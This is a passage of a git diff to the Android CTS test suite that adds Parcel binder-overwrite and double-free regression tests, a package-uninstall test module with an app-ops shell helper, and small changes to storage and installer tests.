+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+
+public class SecondaryConditionProviderService extends PollableConditionProviderService {
+ private static PollableConditionProviderService sInstance = null;
+
+ public static ComponentName getId() {
+ return new ComponentName(SecondaryConditionProviderService.class.getPackage().getName(),
+ SecondaryConditionProviderService.class.getName());
+ }
+
+ public static PollableConditionProviderService getInstance() {
+ return sInstance;
+ }
+
+ @Override
+ public void onConnected() {
+ super.onConnected();
+ sInstance = this;
+ }
+
+ @Override
+ public void onDestroy() {
+ sInstance = null;
+ super.onDestroy();
+ }
+
+}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index cc14790..89eb444 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -40,7 +40,8 @@
src/android/os/cts/IEmptyService.aidl \
src/android/os/cts/ISeccompIsolatedService.aidl \
src/android/os/cts/ISecondary.aidl \
- src/android/os/cts/ISharedMemoryService.aidl
+ src/android/os/cts/ISharedMemoryService.aidl \
+ src/android/os/cts/IParcelExceptionService.aidl \
LOCAL_PACKAGE_NAME := CtsOsTestCases
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index ef4893e..9407405 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -80,6 +80,14 @@
android:name="android.os.cts.SharedMemoryService"
android:process=":sharedmem"
android:exported="false" />
+ <service
+ android:name="android.os.cts.ParcelExceptionService"
+ android:process=":remote"
+ android:exported="true" />
+ <service
+ android:name="android.os.cts.ParcelTest$ParcelObjectFreeService"
+ android:process=":remote"
+ android:exported="true" />
<service android:name="android.os.cts.LocalService">
<intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl
index 5ee3aeb..7d09693 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,6 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
+package android.os.cts;
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
- }
-}
+parcelable ExceptionalParcelable;
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java
new file mode 100644
index 0000000..333cf57
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.os.cts;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+
+public class ExceptionalParcelable implements Parcelable {
+ private final IBinder mBinder;
+
+ ExceptionalParcelable(IBinder binder) {
+ mBinder = binder;
+ }
+
+ public int describeContents() {
+ return 0;
+ }
+
+ /**
+ * Write a binder to the Parcel and then throw an exception
+ */
+ public void writeToParcel(Parcel out, int flags) {
+ // Write a binder for the exception to overwrite
+ out.writeStrongBinder(mBinder);
+
+ // Throw an exception
+ throw new IllegalArgumentException("A truly exceptional message");
+ }
+
+ public static final Creator<ExceptionalParcelable> CREATOR =
+ new Creator<ExceptionalParcelable>() {
+ @Override
+ public ExceptionalParcelable createFromParcel(Parcel source) {
+ return new ExceptionalParcelable(source.readStrongBinder());
+ }
+
+ @Override
+ public ExceptionalParcelable[] newArray(int size) {
+ return new ExceptionalParcelable[size];
+ }
+ };
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl
index 5ee3aeb..ce7af6d 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,10 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
+package android.os.cts;
+import android.os.cts.ExceptionalParcelable;
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
- }
+interface IParcelExceptionService {
+//parcelable android.os.cts.ExceptionalParcelable;
+ ExceptionalParcelable writeBinderThrowException();
}
diff --git a/tests/tests/os/src/android/os/cts/LocaleListTest.java b/tests/tests/os/src/android/os/cts/LocaleListTest.java
index 93c81f4..5b10a32 100644
--- a/tests/tests/os/src/android/os/cts/LocaleListTest.java
+++ b/tests/tests/os/src/android/os/cts/LocaleListTest.java
@@ -88,6 +88,13 @@
}
}
+ public void testRepeatedArguments() {
+ final Locale[] la = {Locale.US, Locale.US};
+ LocaleList ll = new LocaleList(la);
+ assertEquals(1, ll.size());
+ assertEquals(Locale.US, ll.get(0));
+ }
+
public void testIndexOf() {
final LocaleList empty = new LocaleList();
assertEquals(-1, empty.indexOf(Locale.US));
diff --git a/tests/tests/os/src/android/os/cts/ParcelExceptionService.java b/tests/tests/os/src/android/os/cts/ParcelExceptionService.java
new file mode 100644
index 0000000..d8387e3
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ParcelExceptionService.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.os.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.RemoteException;
+
+public class ParcelExceptionService extends Service {
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new ParcelExceptionServiceImpl();
+ }
+
+ private static class ParcelExceptionServiceImpl extends IParcelExceptionService.Stub {
+ private final IBinder mBinder = new Binder();
+
+
+ @Override
+ public ExceptionalParcelable writeBinderThrowException() throws RemoteException {
+ return new ExceptionalParcelable(mBinder);
+ }
+ }
+}
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 987ab00..858ce8d 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -24,7 +24,15 @@
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
import android.content.pm.Signature;
import android.os.BadParcelableException;
import android.os.Binder;
@@ -39,6 +47,8 @@
import android.util.SparseArray;
import android.util.SparseBooleanArray;
+import com.google.common.util.concurrent.AbstractFuture;
+
public class ParcelTest extends AndroidTestCase {
public void testObtain() {
@@ -3283,4 +3293,149 @@
// good
}
}
+
+ public static class ParcelExceptionConnection extends AbstractFuture<IParcelExceptionService>
+ implements ServiceConnection {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(IParcelExceptionService.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public IParcelExceptionService get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ public void testExceptionOverwritesObject() throws Exception {
+ final Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "android.os.cts", "android.os.cts.ParcelExceptionService"));
+
+ final ParcelExceptionConnection connection = new ParcelExceptionConnection();
+
+ mContext.startService(intent);
+ assertTrue(mContext.bindService(intent, connection,
+ Context.BIND_ABOVE_CLIENT | Context.BIND_EXTERNAL_SERVICE));
+
+
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ data.writeInterfaceToken("android.os.cts.IParcelExceptionService");
+ IParcelExceptionService service = connection.get();
+ try {
+ assertTrue("Transaction failed", service.asBinder().transact(
+ IParcelExceptionService.Stub.TRANSACTION_writeBinderThrowException, data, reply,
+ 0));
+ } catch (Exception e) {
+ fail("Exception caught from transaction: " + e);
+ }
+ reply.setDataPosition(0);
+ assertTrue("Exception should have occurred on service-side",
+ reply.readExceptionCode() != 0);
+ assertNull("Binder should have been overwritten by the exception",
+ reply.readStrongBinder());
+ }
+
+ public static class ParcelObjectFreeService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new Binder();
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+
+ Parcel parcel = Parcel.obtain();
+
+ // Construct parcel with object in it.
+ parcel.writeInt(1);
+ final int pos = parcel.dataPosition();
+ parcel.writeStrongBinder(new Binder());
+
+ // wipe out the object by setting data size
+ parcel.setDataSize(pos);
+
+ // recycle the parcel. This should not cause a native segfault
+ parcel.recycle();
+ }
+
+ public static class Connection extends AbstractFuture<IBinder>
+ implements ServiceConnection {
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(service);
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public IBinder get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ return null;
+ }
+ }
+ }
+ }
+
+ public void testObjectDoubleFree() throws Exception {
+
+ final Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "android.os.cts", "android.os.cts.ParcelTest$ParcelObjectFreeService"));
+
+ final ParcelObjectFreeService.Connection connection =
+ new ParcelObjectFreeService.Connection();
+
+ mContext.startService(intent);
+ assertTrue(mContext.bindService(intent, connection,
+ Context.BIND_ABOVE_CLIENT | Context.BIND_EXTERNAL_SERVICE));
+
+ assertNotNull("Service should have started without crashing.", connection.get());
+ }
+
+ public void testObjectResize() throws Exception {
+ Parcel p;
+ IBinder b1 = new Binder();
+ IBinder b2 = new Binder();
+
+ p = Parcel.obtain();
+ p.writeStrongBinder(b1);
+ p.setDataSize(0);
+ p.writeStrongBinder(b2);
+
+ p.setDataPosition(0);
+ assertEquals("Object in parcel should match the binder written after the resize", b2,
+ p.readStrongBinder());
+ p.recycle();
+
+ p = Parcel.obtain();
+ p.writeStrongBinder(b1);
+ final int secondBinderPos = p.dataPosition();
+ p.writeStrongBinder(b1);
+ p.setDataSize(secondBinderPos);
+ p.writeStrongBinder(b2);
+
+ p.setDataPosition(0);
+ assertEquals("Object at the start of the parcel parcel should match the first binder", b1,
+ p.readStrongBinder());
+ assertEquals("Object in parcel should match the binder written after the resize", b2,
+ p.readStrongBinder());
+ p.recycle();
+ }
}
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index cdd2588..d7f0853 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -27,7 +27,6 @@
import android.os.ProxyFileDescriptorCallback;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
-import android.os.UserManager;
import android.os.storage.OnObbStateChangeListener;
import android.os.storage.StorageManager;
import android.os.storage.StorageVolume;
@@ -70,22 +69,15 @@
private static final String TEST1_NEW_CONTENTS = "1\n";
private StorageManager mStorageManager;
- private UserManager mUserManager;
private final Handler mHandler = new Handler(Looper.getMainLooper());
@Override
protected void setUp() throws Exception {
super.setUp();
mStorageManager = (StorageManager) mContext.getSystemService(Context.STORAGE_SERVICE);
- mUserManager = (UserManager) mContext.getSystemService(Context.USER_SERVICE);
}
public void testMountAndUnmountObbNormal() throws IOException {
- // Mount obb only works for system user. Skip for secondary users.
- if (!mUserManager.isSystemUser()) {
- return;
- }
-
for (File target : getTargetFiles()) {
target = new File(target, "test1_new.obb");
Log.d(TAG, "Testing path " + target);
@@ -112,11 +104,6 @@
}
public void testAttemptMountNonObb() {
- // Mount obb only works for system user. Skip for secondary users.
- if (!mUserManager.isSystemUser()) {
- return;
- }
-
for (File target : getTargetFiles()) {
target = new File(target, "test1_nosig.obb");
Log.d(TAG, "Testing path " + target);
@@ -154,11 +141,6 @@
}
public void testMountAndUnmountTwoObbs() throws IOException {
- // Mount obb only works for system user. Skip for secondary users.
- if (!mUserManager.isSystemUser()) {
- return;
- }
-
for (File target : getTargetFiles()) {
Log.d(TAG, "Testing target " + target);
final File test1 = new File(target, "test1.obb");
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index ffb5df0..946a041 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -29,8 +29,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
ub-uiautomator \
androidx.test.rules \
- androidx.legacy_legacy-support-v4 \
- compatibility-device-util-axt
+ androidx.legacy_legacy-support-v4
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
index 55d0c3a..17f97fe 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
@@ -28,8 +28,6 @@
import android.os.UserManager;
import android.text.TextUtils;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -51,7 +49,6 @@
mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class);
}
- @CddTest(requirement="3.2.3.4/C-0-1")
public void testBroadcastNotReceivedForDifferentLauncher() throws Exception {
if (!mHasFeature) {
return;
@@ -88,7 +85,6 @@
assertEquals(TEST_APP_PKG, info.getAppPackageName());
}
- @CddTest(requirement="3.2.3.4/C-0-1")
public void testBroadcastReceivedForNewInstall() throws Exception {
if (!mHasFeature) {
return;
@@ -111,7 +107,6 @@
setLauncher(mDefaultLauncher.flattenToString());
}
- @CddTest(requirement="3.2.3.4/C-0-1")
public void testBroadcastReceivedForEnablingApp() throws Exception {
if (!mHasFeature || !UserManager.supportsMultipleUsers()) {
return;
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk b/tests/tests/packageinstaller/uninstall/Android.mk
similarity index 62%
copy from hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
copy to tests/tests/packageinstaller/uninstall/Android.mk
index 77d2b82..3b463ba 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
+++ b/tests/tests/packageinstaller/uninstall/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2019 The Android Open Source Project
+# Copyright (C) 2018 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -12,24 +11,27 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-#LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
-#LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-LOCAL_PACKAGE_NAME := CtsPrivilegedUpdatePreparer
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_PACKAGE_NAME := CtsPackageUninstallTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator \
+ android-support-test \
+ compatibility-device-util
+
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_RESOURCE_DIRS := res
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
new file mode 100644
index 0000000..28c2b0d
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.packageinstaller.uninstall.cts" >
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
+ <application android:label="Cts Package Uninstaller Tests">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:functionalTest="true"
+ android:targetPackage="android.packageinstaller.uninstall.cts"
+ android:label="Package Uninstaller Tests"/>
+
+</manifest>
diff --git a/tests/tests/telephony4/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
similarity index 68%
rename from tests/tests/telephony4/AndroidTest.xml
rename to tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 636ecbb1..424a981 100644
--- a/tests/tests/telephony4/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2018 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -13,15 +13,19 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<configuration description="Config for CTS Telephony4 test cases">
+
+<configuration description="Config for CTS Packageinstaller Uninstall test cases">
<option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="telecom" />
- <option name="not-shardable" value="true" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsSimRestrictedApisTestCases.apk" />
+ <option name="test-file-name" value="CtsPackageUninstallTestCases.apk" />
+ <option name="test-file-name" value="CtsEmptyTestApp.apk" />
</target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.telephony4.cts" />
+ <option name="package" value="android.packageinstaller.uninstall.cts" />
+ <option name="runtime-hint" value="1m" />
</test>
</configuration>
diff --git a/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
new file mode 100644
index 0000000..869bf14
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
@@ -0,0 +1,30 @@
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:padding="8dp"
+ android:gravity="center">
+
+ <TextView android:id="@+id/overlay_description"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textColor="@android:color/black"
+ android:background="@android:color/white"
+ android:text="This is an overlay" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/AppOpsUtils.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/AppOpsUtils.java
new file mode 100644
index 0000000..365f145
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/AppOpsUtils.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.packageinstaller.uninstall.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_DEFAULT;
+import static android.app.AppOpsManager.MODE_ERRORED;
+import static android.app.AppOpsManager.MODE_IGNORED;
+
+import android.app.AppOpsManager;
+import android.support.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+
+/**
+ * Utilities for controlling App Ops settings, and testing whether ops are logged.
+ */
+public class AppOpsUtils {
+
+ /**
+ * Resets a package's app ops configuration to the device default. See AppOpsManager for the
+ * default op settings.
+ *
+ * <p>
+ * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
+ * ends with a reproducible default state, and so doesn't affect other tests.
+ *
+ * <p>
+ * Some app ops are configured to be non-resettable, which means that the state of these will
+ * not be reset even when calling this method.
+ */
+ public static String reset(String packageName) throws IOException {
+ return runCommand("appops reset " + packageName);
+ }
+
+ /**
+ * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
+ */
+ public static String setOpMode(String packageName, String opStr, int mode)
+ throws IOException {
+ String modeStr;
+ switch (mode) {
+ case MODE_ALLOWED:
+ modeStr = "allow";
+ break;
+ case MODE_ERRORED:
+ modeStr = "deny";
+ break;
+ case MODE_IGNORED:
+ modeStr = "ignore";
+ break;
+ case MODE_DEFAULT:
+ modeStr = "default";
+ break;
+ default:
+ throw new IllegalArgumentException("Unexpected app op type");
+ }
+ String command = "appops set " + packageName + " " + opStr + " " + modeStr;
+ return runCommand(command);
+ }
+
+ /**
+ * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
+ */
+ public static int getOpMode(String packageName, String opStr)
+ throws IOException {
+ String opState = getOpState(packageName, opStr);
+ if (opState.contains(" allow")) {
+ return MODE_ALLOWED;
+ } else if (opState.contains(" deny")) {
+ return MODE_ERRORED;
+ } else if (opState.contains(" ignore")) {
+ return MODE_IGNORED;
+ } else if (opState.contains(" default")) {
+ return MODE_DEFAULT;
+ } else {
+ throw new IllegalStateException("Unexpected app op mode returned " + opState);
+ }
+ }
+
+ /**
+ * Returns whether an allowed operation has been logged by the AppOpsManager for a
+ * package. Operations are noted when the app attempts to perform them and calls e.g.
+ * {@link AppOpsManager#noteOperation}.
+ *
+ * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+ */
+ public static boolean allowedOperationLogged(String packageName, String opStr)
+ throws IOException {
+ return getOpState(packageName, opStr).contains(" time=");
+ }
+
+ /**
+ * Returns whether a rejected operation has been logged by the AppOpsManager for a
+ * package. Operations are noted when the app attempts to perform them and calls e.g.
+ * {@link AppOpsManager#noteOperation}.
+ *
+ * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+ */
+ public static boolean rejectedOperationLogged(String packageName, String opStr)
+ throws IOException {
+ return getOpState(packageName, opStr).contains(" rejectTime=");
+ }
+
+ /**
+ * Returns the app op state for a package. Includes information on when the operation was last
+ * attempted to be performed by the package.
+ *
+ * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
+ */
+ private static String getOpState(String packageName, String opStr) throws IOException {
+ return runCommand("appops get " + packageName + " " + opStr);
+ }
+
+ private static String runCommand(String command) throws IOException {
+ return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ }
+}
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
new file mode 100644
index 0000000..7259fa6
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.uninstall.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.graphics.PixelFormat.TRANSLUCENT;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.SecurityTest;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+
+@RunWith(AndroidJUnit4.class)
+public class UninstallTest {
+ private static final String LOG_TAG = UninstallTest.class.getSimpleName();
+
+ private static final String TEST_APK_PACKAGE_NAME = "android.packageinstaller.emptytestapp.cts";
+
+ private static final long TIMEOUT_MS = 30000;
+
+ private Context mContext;
+ private UiDevice mUiDevice;
+
+ @Before
+ public void setup() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+
+ // Unblock UI
